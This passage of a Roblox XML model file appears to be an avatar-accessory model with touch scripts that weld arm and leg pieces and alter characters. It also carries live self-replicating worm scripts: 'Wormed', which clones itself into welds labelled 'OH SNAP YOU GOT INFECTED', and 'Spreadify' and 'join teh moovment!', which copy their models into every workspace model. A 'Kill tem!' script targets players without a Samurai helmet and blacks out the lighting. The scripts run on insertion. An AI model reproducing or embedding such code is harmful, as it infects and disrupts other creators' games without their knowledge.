									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX616">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX617">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX618">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>73.7778015</X>
							<Y>3.86714458</Y>
							<Z>16.5000153</Z>
							<R00>0.831469595</R00>
							<R01>0.555570245</R01>
							<R02>3.62112428e-006</R02>
							<R10>-0.555570245</R10>
							<R11>0.831469595</R11>
							<R12>8.04984552e-007</R12>
							<R20>-2.56362932e-006</R20>
							<R21>-2.68110921e-006</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Sleve</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX619">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1.5</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX620">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX621">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX622">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX623">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX624">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX625">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>73.5000381</X>
							<Y>3.99976254</Y>
							<Z>16.50914</Z>
							<R00>1</R00>
							<R01>-3.9898697e-007</R01>
							<R02>3.62112019e-006</R02>
							<R10>3.989839e-007</R10>
							<R11>1</R11>
							<R12>8.39218046e-007</R12>
							<R20>-3.62112041e-006</R20>
							<R21>-8.39216625e-007</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Middle</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX626">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX627">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">w9bu5nlka</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX628">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">gcl2hlra</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX629">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX630">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX631">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX632">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX633">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX634">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX635">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX636">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX637">
					<Properties>
						<string name="Name">No samurai plzzz</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX638">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Deth 2 teh samurai!</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX639">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Kill tem!</string>
								<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX640">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">0mbyrb6</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX641">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">join teh moovment!</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX642">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">5hsppzvl</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="StockSound" referent="RBX643">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">x2mdg</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX644">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">tefqwy3he</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX645">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1004</int>
					<CoordinateFrame name="CFrame">
						<X>77</X>
						<Y>0.900000036</Y>
						<Z>13</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Head</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX646">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Arm1</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Arm1&quot;) == nil then
		local g = script.Parent.Parent.Arm1:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Left Arm&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX647">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ur1g0</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX648">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Leg1</string>
						<string name="Source">function onTouched(hit)
	if hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and hit.Parent:findFirstChild(&quot;Leg1&quot;) == nil then
		local g = script.Parent.Parent.Leg1:clone()
		g.Parent = hit.Parent
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == &quot;Part&quot; then
				local W = Instance.new(&quot;Weld&quot;)
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new(&quot;Weld&quot;)
				Y.Part0 = hit.Parent[&quot;Left Leg&quot;]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == &quot;Part&quot; then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end
		
	end

end

script.Parent.Touched:connect(onTouched)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX649">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2iwih8</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="CylinderMesh" referent="RBX650">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX651">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">xmoodt</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX652">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">HatRemover</string>
						<string name="Source">function onTouched(hit) 
	local d = hit.Parent:GetChildren() 
	for i=1, #d do 
		if (d[i].className == &quot;Hat&quot;) and
		if (d[i].Name == &quot;Hair&quot;) then
			d[i]:remove() 
		end 
	end
end 

script.Parent.Touched:connect(onTouched) </string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX653">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX654">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ChangeShirt/Pants</string>
						<string name="Source">--theRal

worker = false
part = script.Parent

function onTouch(hit)
	local human = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if (human ~= nil) and (worker == false) then
		print (&quot;Success&quot;)
		worker = true
		wait(.1)
		local pant = hit.Parent:GetChildren()
		for i=1,#pant do
		if (pant[i].className == &quot;Pants&quot;) then
			pant[i].PantsTemplate = &quot;&quot;
			end
		end
		local shirt = hit.Parent:GetChildren()
		for i=1,#shirt do
		if (shirt[i].className == &quot;Shirt&quot;) then
			shirt[i].ShirtTemplate = &quot;&quot;
			wait(1)
			worker = false
			end
		end
	end
end

script.Parent.Touched:connect(onTouch)</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX655">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">h8gnkeh</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX656">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function onTouch(part) 
local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if human ~= nil then 
part.Parent:findFirstChild(&quot;Head&quot;).BrickColor = BrickColor.new(125)
part.Parent:findFirstChild(&quot;Head&quot;).Transparency = 0.98
part.Parent:findFirstChild(&quot;Torso&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Torso&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Left Arm&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Right Arm&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Left Leg&quot;).CanCollide = true
part.Parent:findFirstChild(&quot;Left Leg&quot;).Transparency = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).BrickColor = BrickColor.new(23)
part.Parent:findFirstChild(&quot;Right Leg&quot;).CanCollide = true
part.Parent:findFirstChild(&quot;Right Leg&quot;).Transparency = 1
end 
end 
script.Parent.Touched:connect(onTouch) 

--COLORS

--1 = white
--208 = Light stone grey
--194 = Medium stone grey
--199 = Dark stone grey
--26 = Black
--21 = Bright red
--24 = Bright yellow
--226 = Cool yellow
--23 = Bright blue
--107 = Bright bluish green
--102 = Medium blue
--11 = Pastel blue
--45 = Light blue
--135 = Sand blue
--106 = Bright orange
--105 = Br. yellowish orange
--141 = Earth green
--28 = Dark green
--37 = Bright green
--119 = Br. yellowish green
--29 = Medium green
--151 = Sand green
--38 = Dark orange
--192 = Reddish brown
--104 = Bright violet
--9 = Light reddish violet
--101 = Medium red
--5 = Brick Yellow
--153 = Sand red
--217 = Brown
--18 = Nougat
--125 = Light orange

</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX657">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">p2qr0i</string>
							<float name="Pitch">1</float>
